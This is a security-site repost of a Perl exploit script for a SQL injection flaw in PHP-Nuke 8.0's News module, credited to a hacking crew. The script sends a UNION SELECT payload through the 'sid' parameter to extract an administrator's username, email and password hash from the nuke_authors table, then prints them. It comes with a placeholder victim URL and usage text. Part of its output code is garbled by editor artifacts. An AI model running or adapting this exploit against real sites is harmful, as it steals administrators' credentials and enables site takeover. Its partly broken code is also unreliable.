首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit
来源:www.warwolfz.org 作者:Dante90 发布时间:2010-06-23  
===================================================
PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit
===================================================


#!/usr/bin/perl
#[0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit
#Created: 2010.04.23 after 3 days the bug was discovered.
#Author/s: Dante90 & The:Paradox, WaRWolFz Crew
#Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat
#Web Site: www.warwolfz.org

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;

my $UserName = shift or usage();
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link

my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=News');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
			agent => 'Mozilla/5.0',
			max_redirect => 0,
			cookie_jar => $Cookies,
			default_headers => HTTP::Headers->new,
		) or die $!;
my $Referrer = "sid=Dante90, WaRWolFz Crew http://www.warwolfz.org/&op=rate_complete&score=1";

sub SQL_Injection{
	my ($Victime) = @_;
	return "-2' UNION#\n SELECT CONCAT_WS(CHAR(32,58,32),`aid`,`name`,`email`,`pwd`) FROM `nuke_authors` WHERE `aid`='${Victime}'-- ";
}

$Method->referer($HostName.'modules.php?name=News');
$Method->content_type('application/x-www-form-urlencoded');
$Method->content("sid=".SQL_Injection($UserName)."&op=rate_complete&score=1");
my $Response = $UserAgent->request($Method);
$Response->is_success or die "$HostName : ",$Response->message,"\n";

if($Response->content =~ /([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9.@]{1,50}) : ([a-f0-9]{32})/i){
	refresh($HostName, $1, $2, $3, $4);
	print " * Exploit Successfully Executed                      *\n";
	print " ------------------------------------------------------\n\n";
	system("pause");
}else{
	refresh($HostName, "", "", "", "");
	print " * Error extracting sensible data.\n";
	print " * Exploit Failed                                     *\n";
	print " ------------------------------------------------------ \n\n";
}


sub usage{
	system("cls");
	{
		print " \n [0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit\n";
		print " ------------------------------------------------------ \n";
		print " * USAGE:                                             *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
		print " * perl name_exploit.pl [username]                    *\n";
		print " ------------------------------------------------------ \n";
		print " *   Powered By Dante90 & The:Paradox, WaRWolFz Crew  *\n";
		print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
		print " ------------------------------------------------------ \n";
	};
	exit;
}

sub refresh{
	system("cls");
	{
		print " \n [0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit\n";
		print " ------------------------------------------------------ \n";
		print " * USAGE:                                             *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
		print " * perl name_exploit.pl [username]                    *\n";
		print " ------------------------------------------------------ \n";
		print " *   Powered By Dante90 & The:Paradox, WaRWolFz Crew  *\n";
		print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
		print " ------------------------------------------------------ \n";
	};
	print " * Victime Site: " . 
___FCKpd___0
[0] . "\n"; print " * User ID: " .
___FCKpd___0
[1] . "\n"; print " * Username: " .
___FCKpd___0
[2] . "\n"; print " * Password: " .
___FCKpd___0
[4] . "\n"; print " * E-Mail: " .
___FCKpd___0
[3] . "\n"; } #WaRWolFz Crew

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpFK <= v7.0.5 Remote Code Ex
·Subtitle Translation Wizard v3
·Norex v1.3.2.0 Argument Heap-O
·FreeBSD Kernel nfs_mount() Exp
·linux/x86-64 - DNS spoofing C
·FreeBSD Kernel mountnfs() Expl
·Subtitle Translation Wizard v3
·Weborf HTTP Server Denial of S
·PHPWCMS 1.4.5 r389 Cross Site
·Novell iManager Multiple Vulne
·Teamspeak <= 3.0.0-beta25 Mult
·BlazeDVD v6 (.plf) SEH univers
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved